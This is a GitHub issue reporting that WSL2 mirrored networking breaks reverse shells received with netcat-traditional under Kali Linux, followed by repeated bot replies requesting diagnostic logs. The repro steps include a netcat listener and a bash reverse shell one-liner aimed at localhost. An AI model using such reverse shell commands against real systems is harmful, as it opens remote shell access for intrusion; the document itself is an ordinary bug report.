Using networkingMode=mirrored, an exception occurred in the reverse shell using netcat-traditional，netcat-openbsd is not affected

[yinsel]

Windows Version

Microsoft Windows 11 Pro (10.0.22631.3880)

WSL Version

2.2.4.0

Are you using WSL 1 or WSL 2?

• WSL 2
• WSL 1

Kernel Version

5.15.153.1

Distro Version

kali-linux 2024.2

Other Software

netcat-traditional (v1.10-48.1)

netcat-openbsd is not affected.

Repro Steps

I will try to bounce Kali Linux's own shell to another terminal session, and after testing, all external reverse shells cannot receive it properly. (Using netcat-traditional)

1. Use netcat tactical to listen on the specified port:

nc -lvnp 8888

2. Execute on another terminal session of Kali:

/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1

The following is a demonstration video of enabling mirror network mode, including traditional and openbsd netcat versions:

start-mirrored.mp4

The following is a demonstration video for turning off mirror network mode:

close-mirrored.mp4

Expected Behavior

Normal reception of reverse shells (including external and local)

Actual Behavior

Unable to receive reverse shell properly (including external and local)

Diagnostic Logs

No response

[github-actions]

Logs are required for review from WSL team

If this a feature request, please reply with '/feature'. If this is a question, reply with '/question'.
Otherwise please attach logs by following the instructions below, your issue will not be reviewed unless they are added. These logs will help us understand what is going on in your machine.

How to collect WSL logs

Download and execute collect-wsl-logs.ps1 in an administrative powershell prompt:

Invoke-WebRequest -UseBasicParsing "https://raw.githubusercontent.com/microsoft/WSL/master/diagnostics/collect-wsl-logs.ps1" -OutFile collect-wsl-logs.ps1
Set-ExecutionPolicy Bypass -Scope Process -Force
.\collect-wsl-logs.ps1

The script will output the path of the log file once done.

If this is a networking issue, please use collect-networking-logs.ps1, following the instructions here

Once completed please upload the output files to this Github issue.

Click here for more info on logging
If you choose to email these logs instead of attaching to the bug, please send them to [email protected] with the number of the github issue in the subject, and in the message a link to your comment in the github issue and reply with '/emailed-logs'.

View similar issues

Please view the issues below to see if they solve your problem, and if the issue describes your problem please consider closing this one and thumbs upping the other issue to help us prioritize it!

Open similar issues:

• WSL2 mirrored networking unexpectedly killing connections (#11308), similarity score: 0.80
• Mirrored networking does not loopback the entire 127.0.0.0/8 range (#11766), similarity score: 0.73

Closed similar issues:

• In Mirrored mode incoming packets from remote device on LAN are not received in WSL2 (#10535), similarity score: 0.78
• Wsl2 networking mode mirrored falling back to NAT (#11058), similarity score: 0.71

Note: You can give me feedback by thumbs upping or thumbs downing this comment.

[github-actions]

Logs are required for review from WSL team

If this a feature request, please reply with '/feature'. If this is a question, reply with '/question'.
Otherwise please attach logs by following the instructions below, your issue will not be reviewed unless they are added. These logs will help us understand what is going on in your machine.

How to collect WSL logs

Download and execute collect-wsl-logs.ps1 in an administrative powershell prompt:

Invoke-WebRequest -UseBasicParsing "https://raw.githubusercontent.com/microsoft/WSL/master/diagnostics/collect-wsl-logs.ps1" -OutFile collect-wsl-logs.ps1
Set-ExecutionPolicy Bypass -Scope Process -Force
.\collect-wsl-logs.ps1

The script will output the path of the log file once done.

If this is a networking issue, please use collect-networking-logs.ps1, following the instructions here

Once completed please upload the output files to this Github issue.

Click here for more info on logging
If you choose to email these logs instead of attaching to the bug, please send them to [email protected] with the number of the github issue in the subject, and in the message a link to your comment in the github issue and reply with '/emailed-logs'.

View similar issues

Please view the issues below to see if they solve your problem, and if the issue describes your problem please consider closing this one and thumbs upping the other issue to help us prioritize it!

Open similar issues:

• WSL2 mirrored networking unexpectedly killing connections (#11308), similarity score: 0.81
• Mirrored networking does not loopback the entire 127.0.0.0/8 range (#11766), similarity score: 0.73

Closed similar issues:

• In Mirrored mode incoming packets from remote device on LAN are not received in WSL2 (#10535), similarity score: 0.78
• Wsl2 networking mode mirrored falling back to NAT (#11058), similarity score: 0.71

Note: You can give me feedback by thumbs upping or thumbs downing this comment.

[github-actions]

Logs are required for review from WSL team

If this a feature request, please reply with '/feature'. If this is a question, reply with '/question'.
Otherwise please attach logs by following the instructions below, your issue will not be reviewed unless they are added. These logs will help us understand what is going on in your machine.

How to collect WSL logs

Download and execute collect-wsl-logs.ps1 in an administrative powershell prompt:

Invoke-WebRequest -UseBasicParsing "https://raw.githubusercontent.com/microsoft/WSL/master/diagnostics/collect-wsl-logs.ps1" -OutFile collect-wsl-logs.ps1
Set-ExecutionPolicy Bypass -Scope Process -Force
.\collect-wsl-logs.ps1

The script will output the path of the log file once done.

If this is a networking issue, please use collect-networking-logs.ps1, following the instructions here

Once completed please upload the output files to this Github issue.

Click here for more info on logging
If you choose to email these logs instead of attaching to the bug, please send them to [email protected] with the number of the github issue in the subject, and in the message a link to your comment in the github issue and reply with '/emailed-logs'.

View similar issues

Please view the issues below to see if they solve your problem, and if the issue describes your problem please consider closing this one and thumbs upping the other issue to help us prioritize it!

Open similar issues:

• WSL2 mirrored networking unexpectedly killing connections (#11308), similarity score: 0.79
• Mirrored networking does not loopback the entire 127.0.0.0/8 range (#11766), similarity score: 0.72

Closed similar issues:

• In Mirrored mode incoming packets from remote device on LAN are not received in WSL2 (#10535), similarity score: 0.78

Note: You can give me feedback by thumbs upping or thumbs downing this comment.